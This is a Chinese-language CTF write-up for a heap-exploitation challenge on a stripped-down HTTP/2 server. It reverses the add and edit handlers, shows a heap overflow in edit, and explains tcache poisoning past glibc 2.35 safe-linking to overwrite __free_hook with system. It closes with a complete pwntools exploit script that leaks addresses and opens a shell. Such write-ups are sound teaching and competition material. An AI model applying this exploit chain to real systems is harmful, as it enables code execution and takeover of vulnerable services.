如果全程 2*24h 在线肝应该是能出的, 可惜早上起不来 + 第二天 ACM. 题对我来说刚刚好, 学到很多.
64 位 ELF, glibc 2.35, 保护全开.
稍微有点逆向的难度. 把 json parse 猜出来后, bb 说 Finger 一扫就解决了. (此时我的内心是崩溃的.)
程序初始化的时候, 在 bss 上写了一个 libc 的地址, 经过调试发现是 __free_hook
. 主程序是一个删减版的 http2 服务器, 没找到生成 http2 的工具, 于是自己写. 这部分略过.
Get 有注册, 登录, 退出. 退出的时候会调用 __free_hook(username)
, username 是注册时候的字段. 登录成功后, 会给 libc 地址.
Post 是菜单, 增删改查. Post 第二个 frame 的 payload 是 json. (看 reponse 格式, pares 里出现过 {
, :
, ,
等字符猜出来的, 用 Finger 一扫也能看到带有 json 的函数名)
reponse 的 json 带有字符串存放地址, 也就是堆. 于是堆地址也知道了.
主要理解一下 add:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
|
unsigned __int64 __fastcall add_worker(char *url, char *payload)
{
int idx; // [rsp+14h] [rbp-102Ch]
__int64 *v4; // [rsp+18h] [rbp-1028h]
__int64 *v5; // [rsp+20h] [rbp-1020h]
__int64 *v6; // [rsp+28h] [rbp-1018h]
char s[16]; // [rsp+30h] [rbp-1010h] BYREF
unsigned __int64 v8; // [rsp+1038h] [rbp-8h]
v8 = __readfsqword(0x28u);
idx = find_empty();
v4 = (__int64 *)parse(payload);
if ( !v4 )
error("parse failed!");
v5 = std::allocator_traits_std::allocator_char__::allocate_std::allocator_char___ulong_((__int64)v4, (__int64)"name");
v6 = std::allocator_traits_std::allocator_char__::allocate_std::allocator_char___ulong_((__int64)v4, (__int64)"desc");
if ( !v5 || !v6 || !v5[4] || !v6[4] )
error("Invalid argv!");
if ( strlen((const char *)v5[4]) > 0xFF || strlen((const char *)v6[4]) > 0xFF )
error("Invalid argv!");
workers[idx].name_len = strlen((const char *)v5[4]);
workers[idx].desc_len = strlen((const char *)v6[4]);
workers[idx].name = strdup((const char *)v5[4]);
workers[idx].desc = strdup((const char *)v6[4]);
workers[idx].status = 1;
memset(s, 0, 0x1000uLL);
snprintf(
s,
0x1000uLL,
"{\"status\": 1,\"name_addr\": \"%p\",\"desc_addr\": \"%p\"}",
workers[idx].name,
workers[idx].desc);
print_s(s);
cJSON_Delete_localalias(v4);
return v8 - __readfsqword(0x28u);
}
|
添加用的是 strdup, 会 malloc(sizeof(str)), 写入后返回.
不过, 在 parse 内, 会对 json 的每个字段值进行处理, 经过调试, 这里也会 malloc 相应的空间. add 函数最后的 cJSON_Delete_localalias
会 free 这部分空间. 举个例子, 假如 name 长 0x30, desc 长 0x20, 则 parse 先 c1 = malloc(0x30), c2 = malloc(0x20) (与顺序有关), 然后分别 strdup name 和 desc, 会 c3 = malloc(0x30), malloc(0x20). cJSON_Delete_localalias
内会 free(c1), free(c2).
漏洞出现在 edit 上:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
|
__int64 *__fastcall edit_worker(__int64 a1, __int64 a2)
{
size_t v2; // rax
char *v3; // rbx
size_t v4; // rax
char *v5; // rbx
int v7; // [rsp+1Ch] [rbp-34h]
__int64 *v8; // [rsp+20h] [rbp-30h]
__int64 *v9; // [rsp+28h] [rbp-28h]
__int64 *v10; // [rsp+30h] [rbp-20h]
__int64 *v11; // [rsp+38h] [rbp-18h]
v8 = (__int64 *)parse((char *)a2);
if ( !v8 )
error("parse failed!");
v9 = std::allocator_traits_std::allocator_char__::allocate_std::allocator_char___ulong_((__int64)v8, (__int64)"name");
v10 = std::allocator_traits_std::allocator_char__::allocate_std::allocator_char___ulong_((__int64)v8, (__int64)"desc");
v11 = std::allocator_traits_std::allocator_char__::allocate_std::allocator_char___ulong_(
(__int64)v8,
(__int64)"worker_idx");
if ( !v9 || !v10 || !v9[4] || !v10[4] || !v11 || *((int *)v11 + 10) < 0 || *((int *)v11 + 10) > 15 || v11[4] )
error("Invalid argv!");
if ( strlen((const char *)v9[4]) > 0xFF || strlen((const char *)v10[4]) > 0xFF )
error("Invalid argv!");
v7 = *((_DWORD *)v11 + 10);
if ( !workers[v7].status )
error("Empty worker!");
v2 = strlen((const char *)v9[4]);
memcpy(workers[v7].name, (const void *)v9[4], v2);
v3 = workers[v7].name;
v3[strlen((const char *)v9[4])] = 0;
workers[v7].name_len = strlen((const char *)v9[4]);
v4 = strlen((const char *)v10[4]);
memcpy(workers[v7].desc, (const void *)v10[4], v4);
v5 = workers[v7].desc;
v5[strlen((const char *)v10[4])] = 0;
workers[v7].desc_len = strlen((const char *)v10[4]);
return cJSON_Delete_localalias(v8);
}
|
同样 edit 也会经过 parse, 会对每个字段进行相应的 malloc. 然后没有检查 size 就直接 memcpy. 这里造成了堆溢出. 不过, 在上面检查了内容长度不能超过 0xff.
还需要注意的是, 读入函数遇到 \x00
会截止. 具体函数略.
思路很明显, 注册时用户名输入为 /bin/sh
, 利用堆溢出, 造成任意地址写, 向 __free_hook
上写 system, 然后 exit 触发 system("/bin/sh")
.
glibc 2.35 + 溢出, 可以想到覆盖 tcache 的 next 进行任意地址分配, 从而任意地址写.
一开始没理清程序哪儿会 malloc, 哪儿会 free, 乱搞了好久完全没思路. 冷静下来一分析, 就构造出来了.
先选取合适的 chunk 大小. 因为程序会产生 0x20 和 0x50 的堆块, 如过 chunk 大小用这些值, 不利于我们控制 tcachebin. 尝试构造这样的 tcache (假设 chunk size 为 0x40):
在 add(0x30, 0x30) 的时候, chunk 1, 2 会被 get, 作为 parse. 然后 strdup chunk 3, 4. 如果通过溢出, 修改了 chunk 3 的 next, 那么拿到的 chunk 4 就是任意地址了. 之后 1, 2 由于没有修改, 所以能够正常 free 掉.
插播一下之前出现的一些问题.
- chunk 大小选的 0x20, 导致布置很难.
- 想 name, desc size 不一样, 修改会被 parse malloc 的 chunk 的 next, 任意分配到 name. 但是由于溢出到 next 必然覆盖掉 size, 而输入不能有
\x00
, size 就出问题了, 之后 free 就崩溃了.
于是我们可以在 chunk 2, 3 中间放一个 chunk, edit 这个 chunk 来进行溢出覆盖 chunk 3. 构造的时候还发现, 如果直接这么写, 在堆上这中间还会出现几个 0x20 的 chunk. 为了避免这种情况, 我在这之前 add 了 0x20 的 chunk, 然后 free 掉, 让出现的这些 chunk 从 bins 里取, 就不会在堆上了. 最后构造的效果确实很好. (边调边看才知道我在说什么…)
接下来是绕过高版本 tcache 的一些检查. 首先 get 的地址要对齐, 也就是我们覆盖的 next 需要对齐. 这个很好办, 如果不对齐给他减到对齐就行了. 输入的时候也只要能写到 __free_hook
就行.
然后是 next 并不是直接存的, 而是存的 ((&(e->next)) >> 12) ^ e->next)
. 由于我们知道了堆地址, 计算一下构造完后, &(e->next)
是多少, 给他异或上就行.
最后还有一点细节, 由于这题的 malloc(size) 并不是自己显式控制的, 而是 sizeof(str), 如果用了 0x40 的 tcachebin, 那么字符串长度一定要大于 0x28, 才能 malloc 到 0x40 的 chunk. 所以在任意地址分配的时候, 其实要计算到末尾字符串恰好覆盖到 __free_hook
. 在我写的 exp 中, 就是目标地址要比 __free_hook
低 0x28 (包括对齐所需). 然后写入 0x28 padding 到 __free_hook
, 再写 system.
exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
|
from pwn import *
import subprocess
context(os='linux', arch='amd64')#, log_level='debug')
procname = './pwn'
libcname = './libc.so.6'
io = process(procname, stdin=PTY)
# io = remote()
elf = ELF(procname)
libc = ELF(libcname)
def n2b(x):
return str(x).encode()
def one_gadgets():
result = [int(i) for i in subprocess.check_output(['one_gadget', '-l', '1', '--raw', libcname]).decode().split(' ')]
debug(f'search one gadgets from {libcname}: {[hex(i) for i in result]}')
return result
def frame(body, md, Type):
body_len = p32(len(body))[::-1]
if md == 'data':
payload = b''
else:
m = {'Get':b'\x82', 'Post':b'\x83'}
payload = m[md] + b'\x86\x44' + body_len
payload += body
f = header(payload, Type) + payload
return f
def header(payload, Type):
T = {'header': b'\x01', 'data': b'\x00'}
payload_len = (p32(len(payload))[:3])[::-1]
return payload_len + T[Type] + b'\x05' + p32(0xdeadbeef)
def Get(body):
io.send(frame(body, 'Get', 'header'))
def Post(body, payload):
f1 = frame(body, 'Post', 'header')
f2 = frame(payload, 'data', 'data')
io.send(f1)
io.send(f2)
def add(name, desc):
payload = b'{"name": "' + name + b'", "desc": "' + desc + b'"}'
Post(b'/api/add_worker', payload)
a = io.recv()
# print(a)
reponse = a[19:]
print(reponse)
return reponse
def edit(idx, name, desc):
payload = b'{"worker_idx":' + n2b(idx) + b', "name": "' + name + b'", "desc": "' + desc + b'"}'
Post(b'/api/edit_worker', payload)
def delete(idx):
Post(b'/api/del_worker', b'{"worker_idx":' + n2b(idx) + b'}')
reponse = io.recv()[19:]
print(reponse)
return reponse
def show(idx):
Post(b'/api/show_worker', b'{"worker_idx":' + n2b(idx) + b'}')
reponse = io.recv()[19:]
print(reponse)
return reponse
Get(b'/register?username=/bin/sh&password=/bin/sh')
io.recv()
Get(b'/login?username=/bin/sh&password=/bin/sh')
libc.address = int(io.recv()[-16:-2], 16) - 0xc4200
success(f'leak libc: {hex(libc.address)}')
reponse = add(b'a' * 0x10, b'b' * 0x10) # 0
heap = int(reponse[27:41], 16) - 0x640
success(f'leak heap: {hex(heap)}')
delete(0)
target_addr = heap + 0xa40
free_hook = libc.sym['__free_hook']
success(f'__free_hook: {hex(free_hook)}')
fake_chunk = free_hook - 0x8 - 0x20
target = (target_addr >> 12) ^ fake_chunk
add(b'c' * 0x30, b'd' * 0x30) # 0
add(b'e' * 0x20, b'f' * 0x20) # 1
add(b'g' * 0x30, b'h' * 0x30) # 2
delete(2)
delete(0)
payload = b'Z' * 0x70 + p64(target)[:6]
edit(1, b'i' * 0x20, payload)
payload = b'l' * 0x28 + p64(libc.sym['system'])[:6]
add(b'j' * 0x30, payload) # 0
pause()
Get(b'/exit')
io.interactive()
|